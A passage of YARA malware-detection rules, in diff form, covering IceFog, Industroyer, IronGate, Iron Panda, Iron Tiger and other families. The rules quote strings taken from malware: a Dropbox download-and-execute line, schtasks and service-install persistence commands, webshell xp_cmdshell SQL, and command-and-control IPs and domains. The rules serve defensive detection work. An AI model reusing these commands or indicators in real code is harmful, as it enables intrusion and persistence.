||||
$s4 = "\\Device\\kifes" fullword ascii
|
||||
$s5 = {75 28 22 36 30 5b 4a 77 7b 58 4d 6c 3f 73 63 5e 38 47 7c 7d 7a 40 3a 41 2a 45 4e 44 79 64 67 6d 65 74 21 39 23 3c 20 49 43 69 4c 3b 31 57 2f 55 3e 26 59 62 61 54 53 5a 2d 25 78 35 5c 76 3d 34 27 6b 5f 72 2c 32 4f 2b 71 66 42 33 37 56 52 60 5d 29 4b 51 2e 6f 50 68 6e 6a 24 48 7e 46 70}
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and
|
||||
pe.subsystem == pe.SUBSYSTEM_NATIVE and
|
||||
( 4 of ($s*) )
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2018-02-26
|
||||
Identifier: IceFog
|
||||
Reference: https://twitter.com/ClearskySec/status/968104465818669057
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule IceFog_Malware_Feb18_1 {
|
||||
meta:
|
||||
description = "Detects IceFog malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://twitter.com/ClearskySec/status/968104465818669057"
|
||||
date = "2018-02-26"
|
||||
hash1 = "480373cffc4e60aa5be2954a156e37d689b92e6e33969958230f2ce59d30b9ec"
|
||||
strings:
|
||||
$s1 = "cmd /c %c%s%c" fullword ascii
|
||||
$s2 = "temp.bat" fullword ascii
|
||||
$s3 = "c:\\windows\\debug\\wia\\help" fullword wide
|
||||
$s4 = "/getorder.aspx?hostname=" fullword wide
|
||||
$s5 = "\\filecfg_temp.dat" fullword wide
|
||||
$s6 = "Unknown operating system " fullword wide
|
||||
$s7 = "kastygost.compress.to" fullword wide
|
||||
$s8 = "/downloads/" fullword wide
|
||||
$s9 = "\\key.dat" fullword wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 2000KB and 4 of them
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2015-10-01
|
||||
Identifier: Indetectables RAT
|
||||
*/
|
||||
|
||||
rule Indetectables_RAT {
|
||||
meta:
|
||||
description = "Detects Indetectables RAT based on strings found in research by Paul Rascagneres & Ronan Mouchoux"
|
||||
author = "Florian Roth"
|
||||
reference = "http://www.sekoia.fr/blog/when-a-brazilian-string-smells-bad/"
|
||||
date = "2015-10-01"
|
||||
super_rule = 1
|
||||
hash1 = "081905074c19d5e32fd41a24b4c512d8fd9d2c3a8b7382009e3ab920728c7105"
|
||||
hash2 = "66306c2a55a3c17b350afaba76db7e91bfc835c0e90a42aa4cf59e4179b80229"
|
||||
hash3 = "1fa810018f6dd169e46a62a4f77ae076f93a853bfc33c7cf96266772535f6801"
|
||||
strings:
|
||||
$s1 = "Coded By M3" fullword wide
|
||||
$s2 = "Stub Undetector M3" fullword wide
|
||||
$s3 = "www.webmenegatti.com.br" wide
|
||||
$s4 = "M3n3gatt1" fullword wide
|
||||
$s5 = "TheMisterFUD" fullword wide
|
||||
$s6 = "KillZoneKillZoneKill" fullword ascii
|
||||
$s7 = "[[__M3_F_U_D_M3__]]$" fullword ascii
|
||||
$s8 = "M3_F_U_D_M3" ascii
|
||||
$s9 = "M3n3gatt1hack3r" fullword wide
|
||||
$s10 = "M3n3gatt1hack3r" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 5000KB and 1 of them
|
||||
}
|
||||
|
||||
rule BergSilva_Malware {
|
||||
meta:
|
||||
description = "Detects a malware from the same author as the Indetectables RAT"
|
||||
author = "Florian Roth"
|
||||
date = "2015-10-01"
|
||||
super_rule = 1
|
||||
hash1 = "00e175cbad629ee118d01c49c11f3d8b8840350d2dd6d16bd81e47ae926f641e"
|
||||
hash2 = "6b4cbbee296e4a0e867302f783d25d276b888b1bf1dcab9170e205d276c22cfc"
|
||||
strings:
|
||||
$x1 = "C:\\Users\\Berg Silva\\Desktop\\" wide
|
||||
$x2 = "URLDownloadToFileA 0, \"https://dl.dropbox.com/u/105015858/nome.exe\", \"c:\\nome.exe\", 0, 0" fullword wide
|
||||
|
||||
$s1 = " Process.Start (Path.GetTempPath() & \"name\" & \".exe\") 'start server baixado" fullword wide
|
||||
$s2 = "FileDelete(@TempDir & \"\\nome.exe\") ;Deleta o Arquivo para que possa ser executado normalmente" fullword wide
|
||||
$s3 = " Lib \"\\WINDOWS\\system32\\UsEr32.dLl\"" fullword wide
|
||||
$s4 = "$Directory = @TempDir & \"\\nome.exe\" ;Define a variavel" fullword wide
|
||||
$s5 = "https://dl.dropbox.com/u/105015858" wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and ( 1 of ($x*) or 2 of ($s*) )
|
||||
}
|
||||
@@ -0,0 +1,146 @@
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-06-13
|
||||
Identifier: Industroyer
|
||||
Reference: https://goo.gl/x81cSy
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule Industroyer_Malware_1 {
|
||||
meta:
|
||||
description = "Detects Industroyer related malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/x81cSy"
|
||||
date = "2017-06-13"
|
||||
hash1 = "ad23c7930dae02de1ea3c6836091b5fb3c62a89bf2bcfb83b4b39ede15904910"
|
||||
hash2 = "018eb62e174efdcdb3af011d34b0bf2284ed1a803718fba6edffe5bc0b446b81"
|
||||
strings:
|
||||
$s1 = "haslo.exe" fullword ascii
|
||||
$s2 = "SYSTEM\\CurrentControlSet\\Services\\%ls" fullword wide
|
||||
$s3 = "SYS_BASCON.COM" fullword wide
|
||||
$s4 = "*.pcmt" fullword wide
|
||||
$s5 = "*.pcmi" fullword wide
|
||||
|
||||
$x1 = { 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73
|
||||
00 5C 00 25 00 6C 00 73 00 00 00 49 00 6D 00 61
|
||||
00 67 00 65 00 50 00 61 00 74 00 68 00 00 00 43
|
||||
00 3A 00 5C 00 00 00 44 00 3A 00 5C 00 00 00 45
|
||||
00 3A 00 5C 00 00 00 }
|
||||
$x2 = "haslo.dat\x00Crash"
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 200KB and 1 of ($x*) or 2 of them )
|
||||
}
|
||||
|
||||
rule Industroyer_Malware_2 {
|
||||
meta:
|
||||
description = "Detects Industroyer related malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/x81cSy"
|
||||
date = "2017-06-13"
|
||||
hash1 = "3e3ab9674142dec46ce389e9e759b6484e847f5c1e1fc682fc638fc837c13571"
|
||||
hash2 = "37d54e3d5e8b838f366b9c202f75fa264611a12444e62ae759c31a0d041aa6e4"
|
||||
hash3 = "ecaf150e087ddff0ec6463c92f7f6cca23cc4fd30fe34c10b3cb7c2a6d135c77"
|
||||
hash1 = "6d707e647427f1ff4a7a9420188a8831f433ad8c5325dc8b8cc6fc5e7f1f6f47"
|
||||
strings:
|
||||
$x1 = "sc create %ls type= own start= auto error= ignore binpath= \"%ls\" displayname= \"%ls\"" fullword wide
|
||||
$x2 = "10.15.1.69:3128" fullword wide
|
||||
|
||||
$s1 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)" fullword wide
|
||||
$s2 = "/c sc stop %s" fullword wide
|
||||
$s3 = "sc start %ls" fullword wide
|
||||
$s4 = "93.115.27.57" fullword wide
|
||||
$s5 = "5.39.218.152" fullword wide
|
||||
$s6 = "tierexe" fullword wide
|
||||
$s7 = "comsys" fullword wide
|
||||
$s8 = "195.16.88.6" fullword wide
|
||||
$s9 = "TieringService" fullword wide
|
||||
|
||||
$a1 = "TEMP\x00\x00DEF" fullword wide
|
||||
$a2 = "TEMP\x00\x00DEF-C" fullword wide
|
||||
$a3 = "TEMP\x00\x00DEF-WS" fullword wide
|
||||
$a4 = "TEMP\x00\x00DEF-EP" fullword wide
|
||||
$a5 = "TEMP\x00\x00DC-2-TEMP" fullword wide
|
||||
$a6 = "TEMP\x00\x00DC-2" fullword wide
|
||||
$a7 = "TEMP\x00\x00CES-McA-TEMP" fullword wide
|
||||
$a8 = "TEMP\x00\x00SRV_WSUS" fullword wide
|
||||
$a9 = "TEMP\x00\x00SRV_DC-2" fullword wide
|
||||
$a10 = "TEMP\x00\x00SCE-WSUS01" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 300KB and 1 of ($x*) or 3 of them or 1 of ($a*) ) or ( 5 of them )
|
||||
}
|
||||
|
||||
rule Industroyer_Portscan_3 {
|
||||
meta:
|
||||
description = "Detects Industroyer related custom port scaner"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/x81cSy"
|
||||
date = "2017-06-13"
|
||||
hash1 = "893e4cca7fe58191d2f6722b383b5e8009d3885b5913dcd2e3577e5a763cdb3f"
|
||||
strings:
|
||||
$s1 = "!ZBfamily" fullword ascii
|
||||
$s2 = ":g/outddomo;" fullword ascii
|
||||
$s3 = "GHIJKLMNOTST" fullword ascii
|
||||
/* Decompressed File */
|
||||
$d1 = "Error params Arguments!!!" fullword wide
|
||||
$d2 = "^(.+?.exe).*\\s+-ip\\s*=\\s*(.+)\\s+-ports\\s*=\\s*(.+)$" fullword wide
|
||||
$d3 = "Exhample:App.exe -ip= 127.0.0.1-100," fullword wide
|
||||
$d4 = "Error IP Range %ls - %ls" fullword wide
|
||||
$d5 = "Can't closesocket." fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 500KB and all of ($s*) or 2 of ($d*) )
|
||||
}
|
||||
|
||||
rule Industroyer_Portscan_3_Output {
|
||||
meta:
|
||||
description = "Detects Industroyer related custom port scaner output file"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/x81cSy"
|
||||
date = "2017-06-13"
|
||||
strings:
|
||||
$s1 = "WSA library load complite." fullword ascii
|
||||
$s2 = "Connection refused" fullword ascii
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
rule Industroyer_Malware_4 {
|
||||
meta:
|
||||
description = "Detects Industroyer related malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/x81cSy"
|
||||
date = "2017-06-13"
|
||||
hash1 = "21c1fdd6cfd8ec3ffe3e922f944424b543643dbdab99fa731556f8805b0d5561"
|
||||
strings:
|
||||
$s1 = "haslo.dat" fullword wide
|
||||
$s2 = "defragsvc" fullword ascii
|
||||
|
||||
/* .dat\x00\x00Crash */
|
||||
$a1 = { 00 2E 00 64 00 61 00 74 00 00 00 43 72 61 73 68 00 00 00 }
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 200KB and all of ($s*) or $a1 )
|
||||
}
|
||||
|
||||
rule Industroyer_Malware_5 {
|
||||
meta:
|
||||
description = "Detects Industroyer related malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/x81cSy"
|
||||
date = "2017-06-13"
|
||||
hash1 = "7907dd95c1d36cf3dc842a1bd804f0db511a0f68f4b3d382c23a3c974a383cad"
|
||||
strings:
|
||||
$x1 = "D2MultiCommService.exe" fullword ascii
|
||||
$x2 = "Crash104.dll" fullword ascii
|
||||
$x3 = "iec104.log" fullword ascii
|
||||
$x4 = "IEC-104 client: ip=%s; port=%s; ASDU=%u " fullword ascii
|
||||
|
||||
$s1 = "Error while getaddrinfo executing: %d" fullword ascii
|
||||
$s2 = "return info-Remote command" fullword ascii
|
||||
$s3 = "Error killing process ..." fullword ascii
|
||||
$s4 = "stop_comm_service_name" fullword ascii
|
||||
$s5 = "*1* Data exchange: Send: %d (%s)" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 400KB and ( 1 of ($x*) or 4 of them ) ) or ( all of them )
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
rule apt_win32_dll_rat_1a53b0cp32e46g0qio7
|
||||
{
|
||||
meta:
|
||||
description = "Detects Inocnation Malware"
|
||||
author = "Fidelis Cybersecurity"
|
||||
score = 75
|
||||
hash1 = "75d3d1f23628122a64a2f1b7ef33f5cf"
|
||||
hash2 = "d9821468315ccd3b9ea03161566ef18e"
|
||||
hash3 = "b9af5f5fd434a65d7aa1b55f5441c90a"
|
||||
reference = "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf"
|
||||
strings:
|
||||
// Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0;rv:11.0) like Gecko
|
||||
$s1 = { c7 [2] 64 00 63 00 c7 [2] 69 00 62 00 c7 [2] 7a 00 7e 00 c7 [2] 2d 00 43 00 c7 [2] 59 00 2d 00 c7 [2] 3b 00 23 00 c7 [2] 3e 00 36 00 c7 [2] 2d 00 5a 00 c7 [2] 42 00 5a 00 c7 [2] 3b 00 39 00 c7 [2] 36 00 2d 00 c7 [2] 59 00 7f 00 c7 [2] 64 00 69 00 c7 [2] 68 00 63 00 c7 [2] 79 00 22 00 c7 [2] 3a 00 23 00 c7 [2] 3d 00 36 00 c7 [2] 2d 00 7f 00 c7 [2] 7b 00 37 00 c7 [2] 3c 00 3c 00 c7 [2] 23 00 3d 00 c7 [2] 24 00 2d 00 c7 [2] 61 00 64 00 c7 [2] 66 00 68 00 c7 [2] 2d 00 4a 00 c7 [2] 68 00 6e 00 c7 [2] 66 00 62 00 } // offset 10001566
|
||||
// Software\Microsoft\Windows\CurrentVersion\Run
|
||||
$s2 = { c7 [2] 23 00 24 00 c7 [2] 24 00 33 00 c7 [2] 38 00 22 00 c7 [2] 00 00 33 00 c7 [2] 24 00 25 00 c7 [2] 3f 00 39 00 c7 [2] 38 00 0a 00 c7 [2] 04 00 23 00 c7 [2] 38 00 00 00 c7 [2] 43 00 66 00 c7 [2] 6d 00 60 00 c7 [2] 67 00 52 00 c7 [2] 6e 00 63 00 c7 [2] 7b 00 67 00 c7 [2] 70 00 00 00 c7 [2] 43 00 4d 00 c7 [2] 44 00 00 00 c7 [2] 0f 00 43 00 c7 [2] 00 00 50 00 c7 [2] 49 00 4e 00 c7 [2] 47 00 00 00 c7 [2] 11 00 12 00 c7 [2] 17 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 11 00 06 00 c7 [2] 44 00 45 00 c7 [2] 4c 00 00 00 } // 10003D09
|
||||
$s3 = { 66 [4-7] 0d 40 83 f8 44 7c ?? }
|
||||
// xor word ptr [ebp+eax*2+var_5C], 14h
|
||||
// inc eax
|
||||
// cmp eax, 14h
|
||||
// Loop to decode a static string. It reveals the "1a53b0cp32e46g0qio9" static string sent in the beacon
|
||||
$s4 = { 66 [4-7] 14 40 83 f8 14 7c ?? } // 100017F0
|
||||
$s5 = { 66 [4-7] 56 40 83 f8 2d 7c ?? } // 10003621
|
||||
$s6 = { 66 [4-7] 20 40 83 f8 1a 7c ?? } // 10003640
|
||||
$s7 = { 80 [2-7] 2e 40 3d 50 02 00 00 72 ?? } // 10003930
|
||||
$s8 = "%08x%08x%08x%08x" wide ascii
|
||||
$s9 = "WinHttpGetIEProxyConfigForCurrentUser" wide ascii
|
||||
condition:
|
||||
(uint16(0) == 0x5A4D or uint32(0) == 0x4464c457f) and (all of them)
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-06-04
|
||||
Identifier: IronGate (FireEye)
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule IronGate_APT_Step7ProSim_Gen {
|
||||
meta:
|
||||
description = "Detects IronGate APT Malware - Step7ProSim DLL"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/Mr6M2J"
|
||||
date = "2016-06-04"
|
||||
score = 90
|
||||
hash1 = "0539af1a0cc7f231af8f135920a990321529479f6534c3b64e571d490e1514c3"
|
||||
hash2 = "fa8400422f3161206814590768fc1a27cf6420fc5d322d52e82899ac9f49e14f"
|
||||
hash3 = "5ab1672b15de9bda84298e0bb226265af09b70a9f0b26d6dfb7bdd6cbaed192d"
|
||||
strings:
|
||||
$x1 = "\\obj\\Release\\Step7ProSim.pdb" ascii
|
||||
|
||||
$s1 = "Step7ProSim.Interfaces" fullword ascii
|
||||
$s2 = "payloadExecutionTimeInMilliSeconds" fullword ascii
|
||||
$s3 = "PackagingModule.Step7ProSim.dll" fullword wide
|
||||
$s4 = "<KillProcess>b__0" fullword ascii
|
||||
$s5 = "newDllFilename" fullword ascii
|
||||
$s6 = "PackagingModule.exe" fullword wide
|
||||
$s7 = "$863d8af0-cee6-4676-96ad-13e8540f4d47" fullword ascii
|
||||
$s8 = "RunPlcSim" fullword ascii
|
||||
$s9 = "$ccc64bc5-ef95-4217-adc4-5bf0d448c272" fullword ascii
|
||||
$s10 = "InstallProxy" fullword ascii
|
||||
$s11 = "DllProxyInstaller" fullword ascii
|
||||
$s12 = "FindFileInDrive" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 50KB and ( $x1 or 3 of ($s*) ) )
|
||||
or ( 6 of them )
|
||||
}
|
||||
|
||||
rule IronGate_PyInstaller_update_EXE {
|
||||
meta:
|
||||
description = "Detects a PyInstaller file named update.exe as mentioned in the IronGate APT"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/Mr6M2J"
|
||||
date = "2016-06-04"
|
||||
score = 60
|
||||
hash1 = "2044712ceb99972d025716f0f16aa039550e22a63000d2885f7b7cd50f6834e0"
|
||||
strings:
|
||||
$s1 = "bpython27.dll" fullword ascii
|
||||
$s5 = "%s%s.exe" fullword ascii
|
||||
$s6 = "bupdate.exe.manifest" fullword ascii
|
||||
$s9 = "bunicodedata.pyd" fullword ascii
|
||||
$s11 = "distutils.sysconfig(" fullword ascii
|
||||
$s16 = "distutils.debug(" fullword ascii
|
||||
$s18 = "supdate" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and all of them
|
||||
}
|
||||
|
||||
/* Additional Rules --------------------------------------------------------- */
|
||||
/* Other tools used in the APT ---------------------------------------------- */
|
||||
|
||||
rule Nirsoft_NetResView {
|
||||
meta:
|
||||
description = "Detects NirSoft NetResView - utility that displays the list of all network resources"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/Mr6M2J"
|
||||
date = "2016-06-04"
|
||||
score = 40
|
||||
hash1 = "83f0352c14fa62ae159ab532d85a2b481900fed50d32cc757aa3f4ccf6a13bee"
|
||||
strings:
|
||||
$s1 = "NetResView.exe" fullword wide
|
||||
$s2 = "2005 - 2013 Nir Sofer" wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 100KB and all of them
|
||||
}
|
||||
@@ -0,0 +1,146 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2015-09-16
|
||||
Identifier: Iron Panda
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule IronPanda_DNSTunClient {
|
||||
meta:
|
||||
description = "Iron Panda malware DnsTunClient - file named.exe"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/E4qia9"
|
||||
date = "2015-09-16"
|
||||
score = 80
|
||||
hash = "a08db49e198068709b7e52f16d00a10d72b4d26562c0d82b4544f8b0fb259431"
|
||||
strings:
|
||||
$s1 = "dnstunclient -d or -domain <domain>" fullword ascii
|
||||
$s2 = "dnstunclient -ip <server ip address>" fullword ascii
|
||||
$s3 = "C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"\\Microsoft\\Windows\\PLA\\System\\Microsoft Windows\" /tr " fullword ascii
|
||||
$s4 = "C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"Microsoft Windows\" /tr " fullword ascii
|
||||
$s5 = "taskkill /im conime.exe" fullword ascii
|
||||
$s6 = "\\dns control\\t-DNSTunnel\\DnsTunClient\\DnsTunClient.cpp" fullword ascii
|
||||
$s7 = "UDP error:can not bing the port(if there is unclosed the bind process?)" fullword ascii
|
||||
$s8 = "use error domain,set domain pls use -d or -domain mark(Current: %s,recv %s)" fullword ascii
|
||||
$s9 = "error: packet num error.the connection have condurt,pls try later" fullword ascii
|
||||
$s10 = "Coversation produce one error:%s,coversation fail" fullword ascii
|
||||
$s11 = "try to add many same pipe to select group(or mark is too easy)." fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 400KB and 2 of them )
|
||||
or
|
||||
5 of them
|
||||
}
|
||||
|
||||
rule IronPanda_Malware1 {
|
||||
meta:
|
||||
description = "Iron Panda Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/E4qia9"
|
||||
date = "2015-09-16"
|
||||
hash = "a0cee5822ddf254c254a5a0b7372c9d2b46b088a254a1208cb32f5fe7eca848a"
|
||||
strings:
|
||||
$x1 = "activedsimp.dll" fullword wide
|
||||
$s1 = "get_BadLoginAddress" fullword ascii
|
||||
$s2 = "get_LastFailedLogin" fullword ascii
|
||||
$s3 = "ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED" fullword ascii
|
||||
$s4 = "get_PasswordExpirationDate" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 300KB and all of them
|
||||
}
|
||||
|
||||
rule IronPanda_Webshell_JSP {
|
||||
meta:
|
||||
description = "Iron Panda Malware JSP"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/E4qia9"
|
||||
date = "2015-09-16"
|
||||
hash = "3be95477e1d9f3877b4355cff3fbcdd3589bb7f6349fd4ba6451e1e9d32b7fa6"
|
||||
strings:
|
||||
$s1 = "Bin_ExecSql(\"exec master..xp_cmdshell'bcp \\\"select safile from \" + db + \"..bin_temp\\\" queryout \\\"\" + Bin_TextBox_SaveP" ascii
|
||||
$s2 = "tc.Text=\"<a href=\\\"javascript:Bin_PostBack('zcg_ClosePM','\"+Bin_ToBase64(de.Key.ToString())+\"')\\\">Close</a>\";" fullword ascii
|
||||
$s3 = "Bin_ExecSql(\"IF OBJECT_ID('bin_temp')IS NOT NULL DROP TABLE bin_temp\");" fullword ascii
|
||||
condition:
|
||||
filesize < 330KB and 1 of them
|
||||
}
|
||||
|
||||
rule IronPanda_Malware_Htran {
|
||||
meta:
|
||||
description = "Iron Panda Malware Htran"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/E4qia9"
|
||||
date = "2015-09-16"
|
||||
hash = "7903f94730a8508e9b272b3b56899b49736740cea5037ea7dbb4e690bcaf00e7"
|
||||
strings:
|
||||
$s1 = "[-] Gethostbyname(%s) error:%s" fullword ascii
|
||||
$s2 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
|
||||
$s3 = "-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
|
||||
$s4 = "[-] ERROR: Must supply logfile name." fullword ascii
|
||||
$s5 = "[SERVER]connection to %s:%d error" fullword ascii
|
||||
$s6 = "[+] Make a Connection to %s:%d...." fullword ascii
|
||||
$s7 = "[+] Waiting another Client on port:%d...." fullword ascii
|
||||
$s8 = "[+] Accept a Client on port %d from %s" fullword ascii
|
||||
$s9 = "[+] Make a Connection to %s:%d ......" fullword ascii
|
||||
$s10 = "cmshared_get_ptr_from_atom" fullword ascii
|
||||
$s11 = "_cmshared_get_ptr_from_atom" fullword ascii
|
||||
$s12 = "[+] OK! I Closed The Two Socket." fullword ascii
|
||||
$s13 = "[-] TransmitPort invalid." fullword ascii
|
||||
$s14 = "[+] Waiting for Client on port:%d ......" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 125KB and 3 of them )
|
||||
or
|
||||
5 of them
|
||||
}
|
||||
|
||||
rule IronPanda_Malware2 {
|
||||
meta:
|
||||
description = "Iron Panda Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/E4qia9"
|
||||
date = "2015-09-16"
|
||||
hash = "a89c21dd608c51c4bf0323d640f816e464578510389f9edcf04cd34090decc91"
|
||||
strings:
|
||||
$s0 = "\\setup.exe" fullword ascii
|
||||
$s1 = "msi.dll.urlUT" fullword ascii
|
||||
$s2 = "msi.dllUT" fullword ascii
|
||||
$s3 = "setup.exeUT" fullword ascii
|
||||
$s4 = "/c del /q %s" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 180KB and all of them
|
||||
}
|
||||
|
||||
rule IronPanda_Malware3 {
|
||||
meta:
|
||||
description = "Iron Panda Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/E4qia9"
|
||||
date = "2015-09-16"
|
||||
hash = "5cd2af844e718570ae7ba9773a9075738c0b3b75c65909437c43201ce596a742"
|
||||
strings:
|
||||
$s0 = "PluginDeflater.exe" fullword wide
|
||||
$s1 = ".Deflated" fullword wide
|
||||
$s2 = "PluginDeflater" fullword ascii
|
||||
$s3 = "DeflateStream" fullword ascii /* Goodware String - occured 1 times */
|
||||
$s4 = "CompressionMode" fullword ascii /* Goodware String - occured 4 times */
|
||||
$s5 = "System.IO.Compression" fullword ascii /* Goodware String - occured 6 times */
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 10KB and all of them
|
||||
}
|
||||
|
||||
rule IronPanda_Malware4 {
|
||||
meta:
|
||||
description = "Iron Panda Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/E4qia9"
|
||||
date = "2015-09-16"
|
||||
hash = "0d6da946026154416f49df2283252d01ecfb0c41c27ef3bc79029483adc2240c"
|
||||
strings:
|
||||
$s0 = "TestPlugin.dll" fullword wide
|
||||
$s1 = "<a href='http://www.baidu.com'>aasd</a>" fullword wide
|
||||
$s2 = "Zcg.Test.AspxSpyPlugins" fullword ascii
|
||||
$s6 = "TestPlugin" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 10KB and all of them
|
||||
}
|
||||
|
||||
@@ -0,0 +1,259 @@
|
||||
rule IronTiger_ASPXSpy
|
||||
{
|
||||
meta:
|
||||
author = "Cyber Safety Solutions, Trend Micro"
|
||||
description = "ASPXSpy detection. It might be used by other fraudsters"
|
||||
reference = "http://goo.gl/T5fSJC"
|
||||
strings:
|
||||
$str2 = "IIS Spy" wide ascii
|
||||
$str3 = "protected void DGCoW(object sender,EventArgs e)" nocase wide ascii
|
||||
condition:
|
||||
any of ($str*)
|
||||
}
|
||||
|
||||
rule IronTiger_ChangePort_Toolkit_driversinstall
|
||||
{
|
||||
meta:
|
||||
author = "Cyber Safety Solutions, Trend Micro"
|
||||
description = "Iron Tiger Malware - Changeport Toolkit driverinstall"
|
||||
reference = "http://goo.gl/T5fSJC"
|
||||
strings:
|
||||
$str1 = "openmydoor" nocase wide ascii
|
||||
$str2 = "Install service error" nocase wide ascii
|
||||
$str3 = "start remove service" nocase wide ascii
|
||||
$str4 = "NdisVersion" nocase wide ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and (2 of ($str*))
|
||||
}
|
||||
|
||||
rule IronTiger_ChangePort_Toolkit_ChangePortExe
|
||||
{
|
||||
meta:
|
||||
author = "Cyber Safety Solutions, Trend Micro"
|
||||
description = "Iron Tiger Malware - Toolkit ChangePort"
|
||||
reference = "http://goo.gl/T5fSJC"
|
||||
strings:
|
||||
$str1 = "Unable to alloc the adapter!" nocase wide ascii
|
||||
$str2 = "Wait for master fuck" nocase wide ascii
|
||||
$str3 = "xx.exe <HOST> <PORT>" nocase wide ascii
|
||||
$str4 = "chkroot2007" nocase wide ascii
|
||||
$str5 = "Door is bind on %s" nocase wide ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and (2 of ($str*))
|
||||
}
|
||||
|
||||
rule IronTiger_dllshellexc2010
|
||||
{
|
||||
meta:
|
||||
author = "Cyber Safety Solutions, Trend Micro"
|
||||
description = "dllshellexc2010 Exchange backdoor + remote shell"
|
||||
reference = "http://goo.gl/T5fSJC"
|
||||
strings:
|
||||
$str1 = "Microsoft.Exchange.Clients.Auth.dll" nocase ascii wide
|
||||
$str2 = "Dllshellexc2010" nocase wide ascii
|
||||
$str3 = "Users\\ljw\\Documents" nocase wide ascii
|
||||
$bla1 = "please input path" nocase wide ascii
|
||||
$bla2 = "auth.owa" nocase wide ascii
|
||||
condition:
|
||||
(uint16(0) == 0x5a4d) and ((any of ($str*)) or (all of ($bla*)))
|
||||
}
|
||||
|
||||
rule IronTiger_dnstunnel
|
||||
{
|
||||
meta:
|
||||
author = "Cyber Safety Solutions, Trend Micro"
|
||||
description = "This rule detects a dns tunnel tool used in Operation Iron Tiger"
|
||||
reference = "http://goo.gl/T5fSJC"
|
||||
strings:
|
||||
$str1 = "\\DnsTunClient\\" nocase wide ascii
|
||||
$str2 = "\\t-DNSTunnel\\" nocase wide ascii
|
||||
$str3 = "xssok.blogspot" nocase wide ascii
|
||||
$str4 = "dnstunclient" nocase wide ascii
|
||||
$mistake1 = "because of error, can not analysis" nocase wide ascii
|
||||
$mistake2 = "can not deal witn the error" nocase wide ascii
|
||||
$mistake3 = "the other retun one RST" nocase wide ascii
|
||||
$mistake4 = "Coversation produce one error" nocase wide ascii
|
||||
$mistake5 = "Program try to use the have deleted the buffer" nocase wide ascii
|
||||
condition:
|
||||
(uint16(0) == 0x5a4d) and ((any of ($str*)) or (any of ($mistake*)))
|
||||
}
|
||||
|
||||
rule IronTiger_EFH3_encoder
|
||||
{
|
||||
meta:
|
||||
author = "Cyber Safety Solutions, Trend Micro"
|
||||
description = "Iron Tiger EFH3 Encoder"
|
||||
reference = "http://goo.gl/T5fSJC"
